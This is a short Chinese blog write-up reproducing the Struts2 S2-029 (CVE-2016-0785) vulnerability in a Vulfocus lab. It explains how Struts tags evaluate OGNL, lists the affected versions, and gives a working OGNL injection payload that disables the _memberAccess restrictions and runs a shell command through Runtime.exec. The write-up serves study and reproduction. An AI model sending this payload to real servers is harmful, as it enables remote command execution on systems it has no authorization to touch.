Hzktester`s Blog
0%

S2-029 CVE-2016-0785复现过程

发表于 更新于 分类于 阅读次数：
本文字数： 953 阅读时长 ≈ 1 分钟

漏洞原理

Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量，Struts2将ActionContext设置为OGNL的上下文，并将OGNL的跟对象加入ActionContext中。
在Struts2中，如下的标签就调用了OGNL进行取值。

1
<p>parameters: <s:property value="#parameters.msg" /></p>

Struts2会解析value中的值，并当作OGNL表达式进行执行，获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。

影响版本

Struts 2.0.0 - 2.3.24.1（不包括2.3.20.3）

复现步骤

  1. 使用vulfoces搭建环境
    image
  2. POC利用
1
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))

image